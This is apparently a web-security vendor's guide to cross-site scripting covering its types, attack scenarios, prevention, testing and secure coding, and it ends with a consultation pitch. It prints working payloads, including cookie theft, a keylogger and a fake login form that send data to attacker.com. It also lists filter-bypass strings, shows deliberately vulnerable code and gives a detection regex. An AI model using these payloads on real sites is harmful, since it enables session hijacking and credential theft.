XSS Attack Guide 2024: Cross-Site Scripting Examples, Types & Prevention
Cross-Site Scripting (XSS) ranks among the most common yet dangerous web application vulnerabilities, consistently appearing in OWASP Top 10 lists and affecting millions of websites annually. Despite straightforward prevention techniques, XSS vulnerabilities persist due to developer oversight, complex application architectures, and the challenge of sanitizing user input across diverse contexts. This comprehensive guide explains what XSS is, the three main types with practical examples, real-world attack scenarios, complete prevention strategies, testing methodologies, and best practices for eliminating XSS vulnerabilities from web applications.
What is XSS (Cross-Site Scripting)? Clear Definition
Cross-Site Scripting (XSS) is a web security vulnerability where attackers inject malicious JavaScript code into web pages viewed by other users. When victims visit compromised pages, the malicious script executes in their browsers with the application's privileges, potentially stealing session cookies, capturing keystrokes, redirecting to phishing sites, or modifying page content.
Why it's called "Cross-Site": The attack crosses from the attacker's injected code into the victim's browser session on the targeted site, executing in the context of that site's domain and privileges.
Why it's abbreviated "XSS" not "CSS": To avoid confusion with Cascading Style Sheets, the vulnerability is abbreviated XSS (Cross-Site Scripting).
How XSS Works: Simple Example
Vulnerable Application
A website's search feature displays your search term:
// VULNERABLE CODE
<?php
$search = $_GET['q'];
echo "You searched for: " . $search;
?>
Normal Usage
URL: https://site.com/search?q=cybersecurity
Page displays: "You searched for: cybersecurity"
XSS Attack
URL: https://site.com/search?q=<script>alert('XSS')</script>
Page HTML becomes:
You searched for: <script>alert('XSS')</script>
Result: JavaScript executes in victim's browser showing alert. More dangerous payloads could steal cookies or perform actions as the victim.
Three Types of XSS Attacks
1. Reflected XSS (Non-Persistent)
How it works: Malicious script reflects off web server in response (URL parameters, form submissions)
Attack scenario:
- Attacker crafts malicious URL with XSS payload
- Sends URL to victim via email, social media, or phishing
- Victim clicks link visiting vulnerable site
- Site reflects payload in response; script executes in victim's browser
- Script steals session cookie and sends to attacker
Example payload stealing cookies:
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
2. Stored XSS (Persistent)
How it works: Malicious script stored in database/server (comments, profile fields, forum posts) and executed whenever users view that content
Attack scenario:
- Attacker submits malicious comment/post with XSS payload
- Application stores payload in database without sanitization
- ANY user viewing that page executes the malicious script
- Script can affect hundreds or thousands of users
Example: Social media profile XSS
<!-- Attacker's profile bio field -->
<img src=x onerror="fetch('http://attacker.com/log?cookie='+document.cookie)">
<!-- Anyone viewing attacker's profile sends their cookies to attacker -->
Why stored XSS is most dangerous: Affects all users automatically without requiring social engineering; persistent until removed
3. DOM-Based XSS
How it works: Vulnerability exists in client-side JavaScript code manipulating DOM based on user input
Vulnerable client-side code:
// VULNERABLE
var search = window.location.hash.substring(1);
document.getElementById('results').innerHTML = "You searched for: " + search;
Attack: https://site.com/#<img src=x onerror=alert('XSS')>
Key difference: Payload never sent to server, entirely client-side, making detection harder
| XSS Type | Where Payload Stored | Server Involvement | Danger Level |
|---|---|---|---|
| Reflected | Not stored (URL/request) | Server reflects payload | Medium (requires victim click) |
| Stored | Database/server | Server stores and serves payload | High (affects all viewers) |
| DOM-Based | Not stored (URL fragment) | Server never sees payload | Medium (harder to detect) |
Real-World XSS Attack Scenarios
Scenario 1: Session Hijacking via Cookie Theft
// Malicious payload injected into vulnerable site
<script>
var cookie = document.cookie;
var img = new Image();
img.src = "http://attacker.com/steal.php?data=" + encodeURIComponent(cookie);
</script>
Attack flow:
- Victim views page containing this script
- Script reads session cookie from browser
- Sends cookie to attacker's server
- Attacker uses stolen cookie to impersonate victim
Scenario 2: Keylogging Capturing Credentials
// Keylogger injected via XSS
<script>
document.addEventListener('keypress', function(e) {
fetch('http://attacker.com/log.php?key=' + e.key);
});
</script>
Impact: Every keystroke sent to attacker, capturing passwords, credit cards, personal information
Scenario 3: Phishing via Page Modification
// Inject fake login form
<script>
document.body.innerHTML = '<div>Session expired. Please login again:<form action="http://attacker.com/fake" method="POST"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form></div>';
</script>
Impact: Users see realistic fake login form; submit credentials directly to attacker
Famous XSS Attacks and Breaches
Samy Worm - MySpace (2005)
- Attack: Stored XSS worm in MySpace profiles
- Spread: Self-propagating, infected profiles infected viewers' profiles
- Impact: Over 1 million profiles infected in 20 hours
- Payload: Added attacker as friend and replicated to new profiles
- Significance: First major XSS worm demonstrating self-propagation potential
Twitter XSS Worm (2010)
- Attack: XSS vulnerability in tweet rendering
- Method: Malicious JavaScript in tweets executing when viewed
- Impact: Thousands of accounts automatically retweeting malicious content
- Spread: Viral propagation across Twitter platform
eBay Persistent XSS (2016)
- Attack: Stored XSS in product listings
- Duration: Vulnerability existed for months
- Potential: Could steal user credentials and payment information
- Discovery: Reported by security researchers
Complete XSS Prevention Guide
1. Output Encoding/Escaping (Primary Defense)
Principle: Encode user-generated content before displaying in HTML
HTML Context Encoding:
// SECURE - Encode HTML special characters
echo "You searched for: " . htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
// Converts dangerous characters:
// < becomes <
// > becomes >
// " becomes "
// ' becomes '
JavaScript Context Encoding:
// SECURE - Encode for JavaScript strings
var search = "<?php echo json_encode($search); ?>";
URL Context Encoding:
// SECURE - URL encode parameters
$url = "http://example.com/search?q=" . urlencode($search);
2. Content Security Policy (CSP)
What it is: HTTP header instructing browsers which scripts are allowed to execute
Basic CSP Header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none'
What this does:
- Only allow scripts from same origin and trusted CDN
- Block inline JavaScript (primary XSS vector)
- Prevent execution of injected scripts
- Block loading of plugins (Flash, Java)
Strict CSP for maximum protection:
Content-Security-Policy:
default-src 'none';
script-src 'nonce-random123' 'strict-dynamic';
style-src 'self';
img-src 'self' data:;
font-src 'self';
connect-src 'self'
3. Input Validation
Whitelist approach: Only allow expected input formats
// Validate email format
function validateEmail(email) {
const regex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
return regex.test(email);
}
// Reject obviously malicious input
function containsXSS(input) {
const dangerous = /<script|javascript:|onerror=|onload=/i;
return dangerous.test(input);
}
4. HTTPOnly Cookie Flag
Purpose: Prevent JavaScript from accessing cookies
// Set session cookie with HTTPOnly flag
setcookie('session', $session_id, [
'httponly' => true, // JavaScript cannot access
'secure' => true, // Only sent over HTTPS
'samesite' => 'Strict' // CSRF protection
]);
Impact: Even if XSS exists, attackers cannot steal session cookies via document.cookie
5. Use Modern Frameworks with Built-in Protection
Frameworks automatically encoding output:
- React: JSX automatically escapes values preventing XSS
- Angular: Templates sanitize bindings by default
- Vue.js: Interpolation escapes HTML
- Django: Template auto-escaping enabled by default
React example (secure by default):
// SECURE - React automatically escapes
function SearchResults({searchTerm}) {
return <div>You searched for: {searchTerm}</div>;
}
// Even if searchTerm contains <script>, React renders it as text, not executable code
6. Avoid Dangerous Functions
Dangerous JavaScript functions:
// DANGEROUS - Avoid these with user input
element.innerHTML = userInput; // Can execute scripts
document.write(userInput); // Can inject content
eval(userInput); // Executes as code
setTimeout(userInput, 1000); // Executes as code
Safe alternatives:
// SAFE - Use textContent or createTextNode
element.textContent = userInput; // Treats as text, not HTML
// SAFE - Create text node
var textNode = document.createTextNode(userInput);
element.appendChild(textNode);
Talk to a SubRosa security engineer
Get a straight answer on where your defenses actually stand — no pitch, no obligation.
Book a consultationTesting for XSS Vulnerabilities
Manual Testing Payloads
Basic XSS test strings:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
javascript:alert('XSS')
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
Testing methodology:
- Test EVERY input field, URL parameter, header
- Try payloads in different contexts (HTML, JavaScript, URL)
- Check if special characters encoded or stripped
- Observe application response and page source
- Test with browser developer tools open
Automated XSS Testing Tools
XSStrike:
# Advanced XSS scanner
python3 xsstrike.py -u "http://target.com/search?q=test"
Burp Suite Scanner:
- Automated crawling and XSS testing
- Context-aware payload generation
- DOM-based XSS detection
OWASP ZAP:
- Free open-source scanner
- Active and passive XSS detection
- Automated and manual testing modes
XSS Testing Checklist
- ☐ Test all input fields with XSS payloads
- ☐ Test URL parameters and fragments (hash)
- ☐ Test HTTP headers (User-Agent, Referer, X-Forwarded-For)
- ☐ Test file upload functionality (SVG, HTML uploads)
- ☐ Test stored content (comments, profiles, posts)
- ☐ Check for DOM-based XSS in JavaScript
- ☐ Verify CSP headers present and restrictive
- ☐ Confirm HTTPOnly flag on session cookies
Advanced XSS Attack Vectors
Filter Bypass Techniques
Attackers use various methods to bypass basic XSS filters:
Case variation and encoding:
<ScRiPt>alert('XSS')</sCrIpT>
<script>alert('XSS')</script>
<script>alert('XSS')</script>
Event handlers:
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')>
JavaScript pseudo-protocol:
<a href="javascript:alert('XSS')">Click me</a>
<iframe src="javascript:alert('XSS')">
Mutation XSS (mXSS)
Exploits browser HTML parser mutations:
<!-- Payload that mutates during parsing -->
<noscript><p title="</noscript><img src=x onerror=alert('XSS')>">
XSS Impact and Consequences
Technical Impact
- Account takeover: Steal session cookies or credentials
- Data theft: Extract sensitive information visible to user
- Malware distribution: Force downloads of malicious software
- Website defacement: Modify page content for all users (stored XSS)
- Further attacks: XSS as initial foothold for complex attack chains
Business Impact
- Data breach costs: Average $4.45 million per breach
- Reputation damage: Customer trust loss from security failures
- Compliance violations: GDPR, PCI DSS penalties for inadequate security
- Legal liability: Lawsuits from affected users
- Remediation costs: Emergency fixes, security improvements, customer notifications
Secure Coding Practices: Language-Specific
PHP
// SECURE output
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, 'UTF-8');
// Use templating engines with auto-escaping
// Twig, Blade automatically escape by default
Python/Django
# SECURE - Django templates auto-escape
{{ user_input }} # Automatically escaped
# DANGEROUS - Bypass escaping
{{ user_input|safe }} # Only use with trusted input
JavaScript
// SECURE - Use textContent
element.textContent = userInput;
// DANGEROUS - innerHTML with user input
element.innerHTML = userInput; // NEVER DO THIS
// SECURE - Sanitize if HTML needed
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
Ruby/Rails
# SECURE - Rails auto-escapes by default
<%= user_input %>
# DANGEROUS - raw/html_safe bypasses escaping
<%= raw user_input %> # Only use with trusted input
Modern XSS Defense: CSP Nonce-Based Approach
Implementation
// Generate random nonce
$nonce = base64_encode(random_bytes(16));
// Set CSP header with nonce
header("Content-Security-Policy: script-src 'nonce-$nonce'");
// Include nonce in legitimate scripts
echo "<script nonce='$nonce'>legitCode();</script>";
Result: Only scripts with correct nonce execute; injected scripts without nonce blocked
XSS in Single Page Applications (SPAs)
React XSS Vulnerabilities
Dangerous: dangerouslySetInnerHTML
// VULNERABLE
<div dangerouslySetInnerHTML={{__html: userInput}} />
// SECURE - Sanitize first
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userInput)}} />
Angular XSS Protection
// Angular sanitizes by default
// SECURE
<div>{{userInput}}</div>
// DANGEROUS - Bypass sanitization
<div [innerHTML]="userInput"></div> // Use DomSanitizer if needed
Frequently Asked Questions
Is XSS worse than SQL injection?
Both are serious, but impact differs. SQL injection typically provides direct database access enabling mass data theft. XSS affects individual users but can spread (worms) and scale to thousands. SQL injection often has immediate, severe business impact; XSS impact accumulates across affected users. Both require priority fixing.
Can antivirus detect XSS attacks?
No, antivirus protects your computer from malware, not web application vulnerabilities. XSS occurs in browsers viewing web pages, not as files on your computer. Protection requires: secure application development, Web Application Firewalls (WAF), and browser security features, not antivirus.
Do all websites have XSS vulnerabilities?
Not all websites are vulnerable, but XSS is extremely common. Modern frameworks (React, Angular, Vue) provide automatic protection making XSS less likely in new applications using them correctly. However, legacy applications, custom code, and framework misuse create vulnerabilities. Regular security testing is essential.
Conclusion: Eliminating XSS from Web Applications
Cross-Site Scripting remains prevalent despite simple prevention techniques because developer awareness gaps, legacy code technical debt, and pressure to ship features quickly lead to security oversights. Yet XSS prevention is straightforward: encode all user-generated output, implement Content Security Policy, use framework-provided protections, and test regularly.
Organizations building or maintaining web applications must prioritize XSS prevention through secure development lifecycle integration: security training for developers covering output encoding and context-appropriate escaping, automated security scanning in CI/CD pipelines catching XSS before production, annual penetration testing validating defense effectiveness, and Content Security Policy deployment providing defense-in-depth.
The cost of XSS prevention (proper encoding, CSP headers, security testing) is negligible compared to breach consequences, stolen customer data, account takeovers, and reputation damage far exceed prevention investment.
subrosa provides comprehensive web application security services including application penetration testing identifying XSS and other OWASP Top 10 vulnerabilities, secure code review finding dangerous patterns before production, developer security training covering XSS prevention and secure coding practices, and application security consulting implementing secure development lifecycles. Schedule a consultation to discuss securing your web applications against XSS and other vulnerabilities.